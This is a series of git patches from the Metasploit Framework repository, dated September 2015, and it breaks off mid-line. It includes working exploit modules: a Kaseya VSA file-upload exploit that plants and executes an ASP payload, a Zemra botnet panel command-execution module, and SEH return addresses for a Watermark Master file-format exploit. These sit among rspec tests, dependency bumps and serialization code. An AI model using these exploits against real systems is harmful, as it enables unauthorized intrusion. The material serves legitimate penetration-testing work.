# Vulnerability discovery and updated MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-6922'], + ['ZDI', '15-449'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'], + ['URL', 'TODO_FULLDISC_URL'] + ], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Privileged' => false, + 'Targets' => + [ + [ 'Kaseya VSA v7 to v9.1', {} ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 23 2015')) + end + + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('ConfigTab','uploader.aspx') + }) + if res and res.code == 302 and res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/ + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Unknown + end + end + + + def upload_file(payload, path, filename, sessionId) + print_status("#{peer} - Uploading payload to #{path + 'WebPages\\'}...") + res = send_request_cgi({ + "method" => "POST", + 'uri' => normalize_uri('ConfigTab','uploader.aspx'), + "vars_get" => { + "PathData" => path + 'WebPages' + '\\', + "qqfile" => filename + }, + "data" => payload, + "ctype" => "application/octet-stream", + "cookie" => "sessionId=" + sessionId + }) + + if res and res.code == 200 and res.body.to_s =~ /"success": "true"/ + return true + else + return false + end + end + + + def exploit + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('ConfigTab','uploader.aspx') + }) + if res and res.code == 302 and res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/ + sessionId = $1 + + asp_name = "#{rand_text_alpha_lower(8)}.asp" + exe = generate_payload_exe + payload = Msf::Util::EXE.to_exe_asp(exe).to_s + + paths = [ + # We have to guess the path, so just try the most common directories + 'C:\\Kaseya\\', + 'C:\\Program Files\\Kaseya\\', + 'C:\\Program Files (x86)\\Kaseya\\', + 'D:\\Kaseya\\', + 'D:\\Program Files\\Kaseya\\', + 'D:\\Program Files (x86)\\Kaseya\\', + 'E:\\Kaseya\\', + 'E:\\Program Files\\Kaseya\\', + 'E:\\Program Files (x86)\\Kaseya\\', + ] + + for path in paths + if upload_file(payload, path, asp_name, sessionId) + register_files_for_cleanup(path + "WebPages\\" + asp_name) + print_status("#{peer} - Executing payload #{asp_name}") + res = send_request_cgi({ + 'uri' => normalize_uri(asp_name), + 'method' => 'GET' + }) + handler + break + end + end + else + fail_with(Failure::NoAccess, "#{peer} - Failed to create a valid session") + end + end +end From 4fe0aede3d171fb21268d576d926ff67956f8e39 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 29 Sep 2015 14:50:56 -0500 Subject: [PATCH 0764/2172] Add rspec --- spec/tools/msu_finder_spec.rb | 66 +++++++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) create mode 100644 spec/tools/msu_finder_spec.rb diff --git a/spec/tools/msu_finder_spec.rb b/spec/tools/msu_finder_spec.rb new file mode 100644 index 0000000000..1a4326633d --- /dev/null +++ b/spec/tools/msu_finder_spec.rb @@ -0,0 +1,66 @@ +load Metasploit::Framework.root.join('tools/msu_finder.rb').to_path + +describe MicrosoftPatch do + + describe MicrosoftPatch::SiteInfo do + context 'Constants' do + context 'TECHNET' do + let(:technet) do + MicrosoftPatch::SiteInfo::TECHNET + end + + it 'returns 157.56.148.23 as the IP' do + expect(technet[:ip]).to eq('157.56.148.23') + end + + it 'returns technet.microsoft.com as the vhost' do + expect(technet[:vhost]).to eq('technet.microsoft.com') + end + end + + context 'MICROSOFT' do + let(:microsoft) do + MicrosoftPatch::SiteInfo::MICROSOFT + end + + it 'returns 104.72.230.162 as the IP' do + expect(microsoft[:ip]).to eq('104.72.230.162') + end + + it 'returns www.microsoft.com as the vhost' do + expect(microsoft[:vhost]).to eq('www.microsoft.com') + end + end + + context 'GOOGLEAPIS' do + let(:googleapis) do + MicrosoftPatch::SiteInfo::GOOGLEAPIS + end + + it 'returns 74.125.28.95 as the IP' do + expect(googleapis[:ip]).to eq('74.125.28.95') + end + + it 'returns www.googleapis.com as the vhost' do + expect(googleapis[:vhost]).to eq('www.googleapis.com') + end + end + end + end + + describe MicrosoftPatch::Base do + end + + describe MicrosoftPatch::PatchLinkCollector do + end + + describe MicrosoftPatch::TechnetMsbSearch do + end + + describe MicrosoftPatch::GoogleMsbSearch do + end + + describe MicrosoftPatch::Module do + end + +end \ No newline at end of file From 2ead218a01499a4500c12e9468de0bcc23426c2f Mon Sep 17 00:00:00 2001 From: Fernando Arias Date: Tue, 29 Sep 2015 14:57:57 -0500 Subject: [PATCH 0765/2172] Bump Mdm to 1.2.7 MSP-13119 --- Gemfile.lock | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 116da5fbf6..ea0c83f32f 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -24,7 +24,7 @@ PATH activerecord (>= 4.0.9, < 4.1.0) metasploit-credential (= 1.0.1) metasploit-framework (= 4.11.4) - metasploit_data_models (= 1.2.5) + metasploit_data_models (= 1.2.7) pg (>= 0.11) metasploit-framework-pcap (4.11.4) metasploit-framework (= 4.11.4) @@ -124,7 +124,7 @@ GEM activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) metasploit-payloads (1.0.12) - metasploit_data_models (1.2.5) + metasploit_data_models (1.2.7) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) arel-helpers From d4b9b8e1a49677121a65fea27382cc566b18f9c0 Mon Sep 17 00:00:00 2001 From: Fernando Arias Date: Tue, 29 Sep 2015 16:36:59 -0500 Subject: [PATCH 0766/2172] Stub out :create_match_for_vuln on MatchSet since we already test it MSP-13119 --- spec/support/shared/examples/msf/db_manager/session.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index 027b3404ea..d2192db96f 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -122,6 +122,10 @@ shared_examples_for 'Msf::DBManager::Session' do end context 'with a run_id in user_data' do + before(:each) do + MetasploitDataModels::AutomaticExploitation::MatchSet.any_instance.stub(:create_match_for_vuln).and_return(nil) + end + let(:match_set) do FactoryGirl.create(:automatic_exploitation_match_set, user: session_workspace.owner,workspace:session_workspace) end From bc1be7f2133ef2c61f509120906d91d12afce708 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 29 Sep 2015 17:20:30 -0500 Subject: [PATCH 0767/2172] some progress with rspec --- spec/tools/msu_finder_spec.rb | 214 +++++++++++++++++++++++++++++++++- tools/msu_finder.rb | 2 +- 2 files changed, 214 insertions(+), 2 deletions(-) diff --git a/spec/tools/msu_finder_spec.rb b/spec/tools/msu_finder_spec.rb index 1a4326633d..da93028ad3 100644 --- a/spec/tools/msu_finder_spec.rb +++ b/spec/tools/msu_finder_spec.rb @@ -1,7 +1,17 @@ load Metasploit::Framework.root.join('tools/msu_finder.rb').to_path +require 'nokogiri' + describe MicrosoftPatch do + before(:each) do + cli = Rex::Proto::Http::Client.new('127.0.0.1') + allow(cli).to receive(:connect) + allow(cli).to receive(:request_cgi) + allow(cli).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new) + allow(Rex::Proto::Http::Client).to receive(:new).and_return(cli) + end + describe MicrosoftPatch::SiteInfo do context 'Constants' do context 'TECHNET' do @@ -49,18 +59,220 @@ describe MicrosoftPatch do end describe MicrosoftPatch::Base do + + def get_stdout(&block) + out = $stdout + $stdout = fake = StringIO.new + begin + yield + ensure + $stdout = out + end + fake.string + end + + def get_stderr(&block) + out = $stderr + $stderr = fake = StringIO.new + begin + yield + ensure + $stderr = out + end + fake.string + end + + subject do + MicrosoftPatch::Base.new + end + + describe '#print_debug' do + it 'prints a [DEBUG] message' do + output = get_stderr { subject.print_debug } + expect(output).to include('[DEBUG]') + end + end + + describe '#print_status' do + it 'prints a [*] message' do + output = get_stderr { subject.print_status } + expect(output).to include('[*]') + end + end + + describe '#print_error' do + it 'prints an [ERROR] message' do + output = get_stderr { subject.print_error } + expect(output).to include('[ERROR]') + end + end + + describe '#print_line' do + it 'prints a regular message' do + msg = 'TEST' + output = get_stdout { subject.print_line(msg) } + expect(output).to eq("#{msg}\n") + end + end + + describe '#send_http_request' do + it 'returns a Rex::Proto::Http::Response object' do + allow(subject).to receive(:print_debug) + res = subject.send_http_request(MicrosoftPatch::SiteInfo::TECHNET) + expect(res).to be_kind_of(Rex::Proto::Http::Response) + end + end + end describe MicrosoftPatch::PatchLinkCollector do + + subject do + MicrosoftPatch::PatchLinkCollector.new + end + + before(:each) do + allow(subject).to receive(:print_debug) + end + + describe '#download_advisory' do + it 'returns a Rex::Proto::Http::Response object' do + res = subject.download_advisory('ms15-100') + expect(res).to be_kind_of(Rex::Proto::Http::Response) + end + end + + describe '#get_appropriate_pattern' do + let(:ms15_100_html) do + %Q| + +
+
+

+
+ Affected Software +
+ + +
fake link
+
+
+

+
+
+ + | + end + + let(:ms07_029_html) do + %Q| + + + | + end + + let(:ms03_039_html) do + %Q| + + + | + end + + let(:ms07_030_html) do + %Q| + + + | + end + + it 'returns a pattern for ms15-100' do + expected_pattern = '//div[@id="mainBody"]//div//div[@class="sectionblock"]//table//a' + p = subject.get_appropriate_pattern(::Nokogiri::HTML(ms15_100_html)) + expect(p).to eq(expected_pattern) + end + + it 'returns a pattern for ms07-029' do + end + + it 'returns a pattern for ms03-039' do + end + + it 'returns a pattern for ms07-030' do + end + end + + describe '#get_details_aspx' do + end + + describe '#follow_redirect' do + end + + describe '#get_download_page' do + end + + describe '#get_download_links' do + end + + describe '#has_advisory?' do + end + + describe '#is_valid_msb?' do + end + end describe MicrosoftPatch::TechnetMsbSearch do + + describe '#find_msb_numbers' do + end + + describe '#search' do + end + + describe '#search_by_product_ids' do + end + + describe '#search_by_keyword' do + end + + describe '#get_product_dropdown_list' do + end + end describe MicrosoftPatch::GoogleMsbSearch do + + describe '#find_msb_numbers' do + end + + describe '#search' do + end + + describe '#parse_results' do + end + + describe '#get_total_results' do + end + + describe '#get_next_index' do + end + end describe MicrosoftPatch::Module do + + describe '#get_download_links' do + end + + describe '#google_search' do + end + + describe '#technet_search' do + end + + describe '#run' do + end + end -end \ No newline at end of file +end diff --git a/tools/msu_finder.rb b/tools/msu_finder.rb index 2ef0699829..da2738e894 100644 --- a/tools/msu_finder.rb +++ b/tools/msu_finder.rb @@ -64,7 +64,7 @@ module MicrosoftPatch # @param msg [String] The message to print. # @return [void] def print_error(msg='') - $stderr.puts "[Error] #{msg}" + $stderr.puts "[ERROR] #{msg}" end # Prints a regular message. From f18e1d69a1b5390be39ed1cd9d9b47cf54771c74 Mon Sep 17 00:00:00 2001 From: jakxx Date: Tue, 29 Sep 2015 22:36:30 -0400 Subject: [PATCH 0768/2172] Add x64 ret address and add to buffer --- modules/exploits/windows/fileformat/watermark_master.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modules/exploits/windows/fileformat/watermark_master.rb b/modules/exploits/windows/fileformat/watermark_master.rb index eb1fe53cd9..978734151a 100644 --- a/modules/exploits/windows/fileformat/watermark_master.rb +++ b/modules/exploits/windows/fileformat/watermark_master.rb @@ -46,6 +46,12 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [ + [ 'Windows 7 x32 - Watermark Master 2.2.23', + { + 'Ret' => 0x10015f2d, #p/p/r | CommonClassesMFC.dll + 'Offset' => 516 + } + ], [ 'Watermark Master 2.2.23', { 'Ret' => 0x10015f2d, #p/p/r | CommonClassesMFC.dll @@ -66,6 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote buffer = rand_text(target['Offset']) buffer << generate_seh_record(target.ret) buffer << payload.encoded + buffer << rand_text(9000) file = %Q| From 47c79071ebd1aca317ee938be6a99640384c760d Mon Sep 17 00:00:00 2001 From: jakxx Date: Tue, 29 Sep 2015 22:41:36 -0400 Subject: [PATCH 0769/2172] fix indention and typo --- modules/exploits/windows/fileformat/watermark_master.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/fileformat/watermark_master.rb b/modules/exploits/windows/fileformat/watermark_master.rb index 978734151a..1fbabf6716 100644 --- a/modules/exploits/windows/fileformat/watermark_master.rb +++ b/modules/exploits/windows/fileformat/watermark_master.rb @@ -46,15 +46,15 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [ - [ 'Windows 7 x32 - Watermark Master 2.2.23', + [ 'Windows 7 x32 - Watermark Master 2.2.23', { 'Ret' => 0x10015f2d, #p/p/r | CommonClassesMFC.dll 'Offset' => 516 } ], - [ 'Watermark Master 2.2.23', + [ 'Windows 7 x64 - Watermark Master 2.2.23', { - 'Ret' => 0x10015f2d, #p/p/r | CommonClassesMFC.dll + 'Ret' => 0x1001329a, #p/p/r | CommonClassesMFC.dll 'Offset' => 516 } ], From 764c9c88a601f4cf6952d0c8d194c242142fc8d4 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 29 Sep 2015 21:56:40 -0500 Subject: [PATCH 0770/2172] More work on rspec --- spec/tools/msu_finder_spec.rb | 134 +++++++++++++++++++++++----------- 1 file changed, 93 insertions(+), 41 deletions(-) diff --git a/spec/tools/msu_finder_spec.rb b/spec/tools/msu_finder_spec.rb index da93028ad3..4970a285f3 100644 --- a/spec/tools/msu_finder_spec.rb +++ b/spec/tools/msu_finder_spec.rb @@ -1,6 +1,7 @@ load Metasploit::Framework.root.join('tools/msu_finder.rb').to_path require 'nokogiri' +require 'uri' describe MicrosoftPatch do @@ -127,6 +128,76 @@ describe MicrosoftPatch do describe MicrosoftPatch::PatchLinkCollector do + let(:ms15_100_html) do + %Q| + +
+
+

+
+ Affected Software +
+ + +
fake link
+
+
+

+
+
+ + | + end + + let(:ms07_029_html) do + %Q| + +
+ +
+ + | + end + + let(:ms03_039_html) do + %Q| + +
+
+
+

+ Download locations +

+ +
+
+
+ + | + end + + let(:ms07_030_html) do + %Q| + +
+

+ Affected Software +

+ + + + + | + end + subject do MicrosoftPatch::PatchLinkCollector.new end @@ -143,47 +214,6 @@ describe MicrosoftPatch do end describe '#get_appropriate_pattern' do - let(:ms15_100_html) do - %Q| - -
-
-

-
- Affected Software -
-

Download
- -
fake link
-
- - - - - - | - end - - let(:ms07_029_html) do - %Q| - - - | - end - - let(:ms03_039_html) do - %Q| - - - | - end - - let(:ms07_030_html) do - %Q| - - - | - end it 'returns a pattern for ms15-100' do expected_pattern = '//div[@id="mainBody"]//div//div[@class="sectionblock"]//table//a' @@ -192,16 +222,38 @@ describe MicrosoftPatch do end it 'returns a pattern for ms07-029' do + expected_pattern = '//div[@id="mainBody"]//ul//li//a[contains(text(), "Download the update")]' + p = subject.get_appropriate_pattern(::Nokogiri::HTML(ms07_029_html)) + expect(p).to eq(expected_pattern) end it 'returns a pattern for ms03-039' do + expected_pattern = '//div[@id="mainBody"]//div//div[@class="sectionblock"]//ul//li//a' + p = subject.get_appropriate_pattern(::Nokogiri::HTML(ms03_039_html)) + expect(p).to eq(expected_pattern) end it 'returns a pattern for ms07-030' do + expected_pattern = '//div[@id="mainBody"]//table//a' + p = subject.get_appropriate_pattern(::Nokogiri::HTML(ms07_030_html)) + expect(p).to eq(expected_pattern) end end describe '#get_details_aspx' do + let(:details_aspx) do + res = Rex::Proto::Http::Response.new + allow(res).to receive(:body).and_return(ms15_100_html) + res + end + + it 'returns an URI object to a details aspx' do + links = subject.get_details_aspx(details_aspx) + expected_uri = 'https://www.microsoft.com/downloads/details.aspx?familyid=1' + expect(links.length).to eq(1) + expect(links.first).to be_kind_of(URI) + expect(links.first.to_s).to eq(expected_uri) + end end describe '#follow_redirect' do From 2de6c77fa29898c14f3f509883b5638e45328ffb Mon Sep 17 00:00:00 2001 From: JT Date: Wed, 30 Sep 2015 18:11:05 +0800 Subject: [PATCH 0771/2172] Update simple_backdoors_exec.rb --- modules/exploits/multi/http/simple_backdoors_exec.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb index 961db2b562..661ff102a5 100644 --- a/modules/exploits/multi/http/simple_backdoors_exec.rb +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -82,8 +82,6 @@ class Metasploit3 < Msf::Exploit::Remote }) if !res && res.code == 200 fail_with(Failure::Unknown, "Failed to execute the command.") - else - fail_with(Failure::Unknown, "#{res.code} #{res.message}") end end From a7fa939fda47d79582ddd1b4c963285dbac7b804 Mon Sep 17 00:00:00 2001 From: JT Date: Wed, 30 Sep 2015 19:24:21 +0800 Subject: [PATCH 0772/2172] Zemra Botnet C2 Web Panel Remote Code Execution This module exploits the C2 web panel of Zemra Botnet which contains a backdoor inside its leaked source code. Zemra is a crimeware bot that can be used to conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra. --- .../exploits/multi/http/zemra_panel_rce.rb | 95 +++++++++++++++++++ 1 file changed, 95 insertions(+) create mode 100644 modules/exploits/multi/http/zemra_panel_rce.rb diff --git a/modules/exploits/multi/http/zemra_panel_rce.rb b/modules/exploits/multi/http/zemra_panel_rce.rb new file mode 100644 index 0000000000..ea92b43f00 --- /dev/null +++ b/modules/exploits/multi/http/zemra_panel_rce.rb @@ -0,0 +1,95 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Zemra Botnet C2 Web Panel Remote Code Execution', + 'Description' => %q{ + This module exploits the C2 web panel of Zemra Botnet which contains a backdoor + inside its leaked source code. Zemra is a crimeware bot that can be used to + conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jay Turla <@shipcod3>', #Metasploit Module + 'Angel Injection', #Initial Discovery (PoC from Inj3ct0r Team) + 'Darren Martyn <@info_dox>' #Initial Discovery + ], + 'References' => + [ + ['URL', 'http://0day.today/exploit/19259'], + ['URL', 'http://insecurety.net/?p=144'], #leaked source code and backdoor intro + ['URL', 'http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot'] + ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 10000, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd' + } + }, + 'Platform' => %w{ unix win }, + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['zemra panel / Unix', { 'Platform' => 'unix' } ], + ['zemra panel / Windows', { 'Platform' => 'win' } ] + ], + 'DisclosureDate' => 'Jun 28 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI',[true, "The path of the backdoor inside Zemra Botnet C2 Web Panel", "/Zemra/Panel/Zemra/system/command.php"]), + ],self.class) + end + + def check + txt = Rex::Text.rand_text_alpha(8) + uri = normalize_uri(target_uri.path.to_s) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'vars_get' => + { + 'cmd' => txt + } + }) + if res && res.body =~ /cmd/ + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + + def http_send_command(cmd) + uri = normalize_uri(target_uri.path.to_s) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'vars_get' => + { + 'cmd' => cmd + } + }) + if !res && res.code == 200 + fail_with(Failure::Unknown, 'Failed to execute the command.') + end + end + + def exploit + http_send_command(payload.encoded) + end +end From 8590c790219bd611a540f4200a28a519bf16e2c6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 30 Sep 2015 12:30:52 -0500 Subject: [PATCH 0773/2172] Add support for NewClass --- lib/rex/java/serialization/model.rb | 1 + lib/rex/java/serialization/model/contents.rb | 6 ++++-- lib/rex/java/serialization/model/new_object.rb | 3 +++ 3 files changed, 8 insertions(+), 2 deletions(-) diff --git a/lib/rex/java/serialization/model.rb b/lib/rex/java/serialization/model.rb index a5587660fd..1f2d6cf0de 100644 --- a/lib/rex/java/serialization/model.rb +++ b/lib/rex/java/serialization/model.rb @@ -19,6 +19,7 @@ module Rex autoload :NewClassDesc, 'rex/java/serialization/model/new_class_desc' autoload :NewEnum, 'rex/java/serialization/model/new_enum' autoload :NewObject, 'rex/java/serialization/model/new_object' + autoload :NewClass, 'rex/java/serialization/model/new_class' autoload :NullReference, 'rex/java/serialization/model/null_reference' autoload :Reference, 'rex/java/serialization/model/reference' autoload :Reset, 'rex/java/serialization/model/reset' diff --git a/lib/rex/java/serialization/model/contents.rb b/lib/rex/java/serialization/model/contents.rb index 1f70781ff2..b13ceb7cdc 100644 --- a/lib/rex/java/serialization/model/contents.rb +++ b/lib/rex/java/serialization/model/contents.rb @@ -28,7 +28,7 @@ module Rex when TC_OBJECT content = NewObject.decode(io, stream) when TC_CLASS - content = ClassDesc.decode(io, stream) + content = NewClass.decode(io, stream) when TC_ARRAY content = NewArray.decode(io, stream) when TC_STRING @@ -75,7 +75,7 @@ module Rex encoded << [TC_ENDBLOCKDATA].pack('C') when NewObject encoded << [TC_OBJECT].pack('C') - when ClassDesc + when NewClass encoded << [TC_CLASS].pack('C') when NewArray encoded << [TC_ARRAY].pack('C') @@ -122,6 +122,8 @@ module Rex str << "#{print_class(content)} { #{content.to_s} }" when ClassDesc str << "#{print_class(content)} { #{content.to_s} }" + when NewClass + str << "#{print_class(content)} { #{content.to_s} }" when NewArray str << "#{print_class(content)} { #{content.to_s} }" when Utf diff --git a/lib/rex/java/serialization/model/new_object.rb b/lib/rex/java/serialization/model/new_object.rb index 9b84548cb2..288dfd00e4 100644 --- a/lib/rex/java/serialization/model/new_object.rb +++ b/lib/rex/java/serialization/model/new_object.rb @@ -71,6 +71,7 @@ module Rex # @return [String] def to_s str = '' + case class_desc.description when NewClassDesc str << class_desc.description.class_name.to_s @@ -84,6 +85,8 @@ module Rex data_str = class_data.collect { |data| data.to_s } str << data_str.join(', ') str << ' }' + + str end private From bfbd6ad475c381958d86152a7800473d9b9a0adc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 30 Sep 2015 12:31:18 -0500 Subject: [PATCH 0774/2172] Add the NewClass code really --- lib/rex/java/serialization/model/new_class.rb | 57 +++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 lib/rex/java/serialization/model/new_class.rb diff --git a/lib/rex/java/serialization/model/new_class.rb b/lib/rex/java/serialization/model/new_class.rb new file mode 100644 index 0000000000..c3984cae56 --- /dev/null +++ b/lib/rex/java/serialization/model/new_class.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + # This class provides a NewArray (Java Array) representation + class NewClass < Element + + include Rex::Java::Serialization::Model::Contents + + # @!attribute array_description + # @return [Java::Serialization::Model::ClassDesc] The description of the class + attr_accessor :class_description + + # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to + def initialize(stream = nil) + super(stream) + self.class_description = nil + end + + # Deserializes a Rex::Java::Serialization::Model::NewClass + # + # @param io [IO] the io to read from + # @return [self] if deserialization succeeds + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed + def decode(io) + self.class_description = ClassDesc.decode(io, stream) + stream.add_reference(self) unless stream.nil? + + self + end + + # Serializes the Rex::Java::Serialization::Model::NewClass + # + # @return [String] if serialization succeeds + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed + def encode + unless class_description.kind_of?(ClassDesc) + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewClass' + end + + encoded = '' + encoded << class_description.encode + end + + # Creates a print-friendly string representation + # + # @return [String] + def to_s + print_content(class_description) + end + end + end + end + end +end From 1bfa0875183556e3264649e48e318a945c564ab1 Mon Sep 17 00:00:00 2001 From: Jake Yamaki Date: Wed, 30 Sep 2015 15:22:24 -0400 Subject: [PATCH 0775/2172] Add IP to testing results When specifying multiple hosts the resulting output is useless because you don't know which bypass goes to what IP address --- modules/auxiliary/scanner/http/verb_auth_bypass.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/verb_auth_bypass.rb b/modules/auxiliary/scanner/http/verb_auth_bypass.rb index dac8fa397a..c9eb6fafd0 100644 --- a/modules/auxiliary/scanner/http/verb_auth_bypass.rb +++ b/modules/auxiliary/scanner/http/verb_auth_bypass.rb @@ -77,10 +77,10 @@ class Metasploit3 < Msf::Auxiliary next if not resauth - print_status("Testing verb #{tv}, resp code: [#{resauth.code}]") + print_status("[#{ip}] Testing verb #{tv}, resp code: [#{resauth.code}]") if resauth.code != auth_code and resauth.code <= 302 - print_status("Possible authentication bypass with verb #{tv} code #{resauth.code}") + print_good("[#{ip}] Possible authentication bypass with verb #{tv} code #{resauth.code}") # Unable to use report_web_vuln as method is not in list of allowed methods. From 3d41b4046ca6a506b3e06f3e7f341b2eb521dadd Mon Sep 17 00:00:00 2001 From: Jake Yamaki Date: Wed, 30 Sep 2015 16:33:15 -0400 Subject: [PATCH 0776/2172] Standardize output and include full uri --- modules/auxiliary/scanner/http/verb_auth_bypass.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/verb_auth_bypass.rb b/modules/auxiliary/scanner/http/verb_auth_bypass.rb index c9eb6fafd0..1660433bf6 100644 --- a/modules/auxiliary/scanner/http/verb_auth_bypass.rb +++ b/modules/auxiliary/scanner/http/verb_auth_bypass.rb @@ -51,13 +51,13 @@ class Metasploit3 < Msf::Auxiliary return if not res if not res.headers['WWW-Authenticate'] - print_status("[#{ip}] Authentication not required. #{datastore['PATH']} #{res.code}") + print_status("[#{ip}:#{datastore['RPORT']}#{datastore['PATH']}] Authentication not required, resp code: [#{res.code}]") return end auth_code = res.code - print_status("#{ip} requires authentication: #{res.headers['WWW-Authenticate']} [#{auth_code}]") + print_status("[#{ip}:#{datastore['RPORT']}#{datastore['PATH']}] Authentication required: #{res.headers['WWW-Authenticate']}, resp code [#{auth_code}]") report_note( :host => ip, @@ -77,10 +77,10 @@ class Metasploit3 < Msf::Auxiliary next if not resauth - print_status("[#{ip}] Testing verb #{tv}, resp code: [#{resauth.code}]") + print_status("[#{ip}:#{datastore['RPORT']}#{datastore['PATH']}] Testing verb #{tv}, resp code: [#{resauth.code}]") if resauth.code != auth_code and resauth.code <= 302 - print_good("[#{ip}] Possible authentication bypass with verb #{tv} code #{resauth.code}") + print_good("[#{ip}:#{datastore['RPORT']}#{datastore['PATH']}] Possible authentication bypass with verb #{tv}, resp code: [#{resauth.code}]") # Unable to use report_web_vuln as method is not in list of allowed methods. From 2e5999a119d4b81449df56e74e71e3114a7f72ae Mon Sep 17 00:00:00 2001 From: Jake Yamaki Date: Wed, 30 Sep 2015 16:41:46 -0400 Subject: [PATCH 0777/2172] Missed colon for output standardization --- modules/auxiliary/scanner/http/verb_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/verb_auth_bypass.rb b/modules/auxiliary/scanner/http/verb_auth_bypass.rb index 1660433bf6..dd171affaa 100644 --- a/modules/auxiliary/scanner/http/verb_auth_bypass.rb +++ b/modules/auxiliary/scanner/http/verb_auth_bypass.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary auth_code = res.code - print_status("[#{ip}:#{datastore['RPORT']}#{datastore['PATH']}] Authentication required: #{res.headers['WWW-Authenticate']}, resp code [#{auth_code}]") + print_status("[#{ip}:#{datastore['RPORT']}#{datastore['PATH']}] Authentication required: #{res.headers['WWW-Authenticate']}, resp code: [#{auth_code}]") report_note( :host => ip, From 8861d61ad48ec8a3886607002608dc8c7091356c Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 1 Oct 2015 08:17:17 +1000 Subject: [PATCH 0778/2172] Add stderr/stdout capture and var extraction --- .../meterpreter/extensions/python/python.rb | 28 ++++++++++-- .../post/meterpreter/extensions/python/tlv.rb | 7 ++- .../ui/console/command_dispatcher/python.rb | 45 +++++++++++++++++-- 3 files changed, 71 insertions(+), 9 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/python/python.rb b/lib/rex/post/meterpreter/extensions/python/python.rb index 5b81d88217..b2d3d980b0 100644 --- a/lib/rex/post/meterpreter/extensions/python/python.rb +++ b/lib/rex/post/meterpreter/extensions/python/python.rb @@ -33,17 +33,39 @@ class Python < Extension ]) end + def reset + request = Packet.create_request('python_reset') + client.send_request(request) + + return true + end + # # Dump the LSA secrets from the target machine. # # @return [Hash] - def execute_string(code) + def execute_string(code, result_var) request = Packet.create_request('python_execute_string') - request.add_tlv(TLV_TYPE_PYTHON_STRING, code) + request.add_tlv(TLV_TYPE_PYTHON_CODE, code) + request.add_tlv(TLV_TYPE_PYTHON_RESULT_VAR, result_var) if result_var response = client.send_request(request) - response.get_tlv_value(TLV_TYPE_PYTHON_OUTPUT) + result = { + result: response.get_tlv_value(TLV_TYPE_PYTHON_RESULT), + stdout: "", + stderr: "" + } + + response.each(TLV_TYPE_PYTHON_STDOUT) do |o| + result[:stdout] << o.value + end + + response.each(TLV_TYPE_PYTHON_STDERR) do |e| + result[:stderr] << e.value + end + + result end end diff --git a/lib/rex/post/meterpreter/extensions/python/tlv.rb b/lib/rex/post/meterpreter/extensions/python/tlv.rb index 560c302e10..326d2a3b08 100644 --- a/lib/rex/post/meterpreter/extensions/python/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/python/tlv.rb @@ -5,8 +5,11 @@ module Meterpreter module Extensions module Python -TLV_TYPE_PYTHON_STRING = 